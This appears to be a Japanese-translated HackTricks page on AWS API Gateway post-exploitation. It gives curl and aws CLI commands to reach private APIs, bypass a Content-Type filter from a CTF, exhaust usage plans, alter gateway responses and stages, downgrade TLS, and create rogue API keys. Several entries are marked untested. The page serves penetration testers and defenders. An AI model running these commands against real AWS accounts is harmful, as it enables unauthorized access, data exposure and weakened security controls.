Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md

133 lines
8.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# AWS - API Gateway Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## API Gateway
詳細については、次を確認してください:
{{#ref}}
../aws-services/aws-api-gateway-enum.md
{{#endref}}
### 未公開APIへのアクセス
[https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) でサービス `com.amazonaws.us-east-1.execute-api` を使用してエンドポイントを作成し、アクセス可能なネットワークEC2マシン経由の可能性ありでエンドポイントを公開し、すべての接続を許可するセキュリティグループを割り当てます。\
その後、EC2マシンからエンドポイントにアクセスできるようになり、以前は公開されていなかったゲートウェイAPIを呼び出すことができます。
### リクエストボディのパススルーをバイパス
この技術は[**このCTFの解説**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp)で見つかりました。
[AWSのドキュメント](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html)の`PassthroughBehavior`セクションに示されているように、デフォルトでは、**`WHEN_NO_MATCH`**の値は、リクエストの**Content-Type**ヘッダーをチェックする際に、リクエストを変換せずにバックエンドに渡します。
したがって、CTFではAPI Gatewayに統合テンプレートがあり、`Content-Type: application/json`でリクエストが送信されたときに**フラグが応答で流出するのを防いでいました**。
```yaml
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
```
しかし、**`Content-type: text/json`**を持つリクエストを送信することで、そのフィルターを回避できます。
最後に、API Gatewayは`Get``Options`のみを許可していたため、ボディにクエリを含むPOSTリクエストを送信し、ヘッダー`X-HTTP-Method-Override: GET`を使用することで、任意のdynamoDBクエリを制限なしに送信することが可能でした
```bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
```
### Usage Plans DoS
**Enumeration** セクションでは、キーの **使用プラン****取得する方法** を確認できます。キーがあり、**月あたりの使用回数がX回に制限されている**場合、**それを使用してDoSを引き起こすことができます**。
**API Key** は、**`x-api-key`** という **HTTPヘッダー****含める** 必要があります。
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
`apigateway:UpdateGatewayResponse` および `apigateway:CreateDeployment` の権限を持つ攻撃者は、**既存のGateway Responseを変更して、機密情報を漏洩させるカスタムヘッダーやレスポンステンプレートを含めたり、悪意のあるスクリプトを実行させたりすることができます**。
```bash
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**潜在的な影響**: 機密情報の漏洩、悪意のあるスクリプトの実行、またはAPIリソースへの不正アクセス。
> [!NOTE]
> テストが必要
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
`apigateway:UpdateStage`および`apigateway:CreateDeployment`の権限を持つ攻撃者は、**既存のAPI Gatewayステージを変更してトラフィックを別のステージにリダイレクトしたり、キャッシュ設定を変更してキャッシュデータへの不正アクセスを得ることができます**。
```bash
API_ID="your-api-id"
STAGE_NAME="Prod"
# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**潜在的な影響**: キャッシュされたデータへの不正アクセス、APIトラフィックの中断または傍受。
> [!NOTE]
> テストが必要
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
`apigateway:PutMethodResponse` および `apigateway:CreateDeployment` の権限を持つ攻撃者は、**既存のAPI Gateway REST APIメソッドのメソッドレスポンスを変更して、機密情報を漏洩させるカスタムヘッダーやレスポンステンプレートを含めたり、悪意のあるスクリプトを実行させたりすることができます**。
```bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"
# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**潜在的な影響**: 機密情報の漏洩、悪意のあるスクリプトの実行、またはAPIリソースへの不正アクセス。
> [!NOTE]
> テストが必要
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
`apigateway:UpdateRestApi`および`apigateway:CreateDeployment`の権限を持つ攻撃者は、**API Gateway REST APIの設定を変更してログ記録を無効にしたり、最小TLSバージョンを変更したりすることができ、APIのセキュリティを弱める可能性があります**。
```bash
API_ID="your-api-id"
# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**潜在的な影響**: APIのセキュリティが弱まり、未承認のアクセスを許可したり、機密情報を露出させる可能性があります。
> [!NOTE]
> テストが必要です
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
`apigateway:CreateApiKey``apigateway:UpdateApiKey``apigateway:CreateUsagePlan`、および`apigateway:CreateUsagePlanKey`の権限を持つ攻撃者は、**新しいAPIキーを作成し、それらを使用プランに関連付け、これらのキーを使用してAPIへの未承認のアクセスを行うことができます**。
```bash
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
```
**潜在的な影響**: APIリソースへの不正アクセス、セキュリティコントロールのバイパス。
> [!NOTE]
> テストが必要
{{#include ../../../banners/hacktricks-training.md}}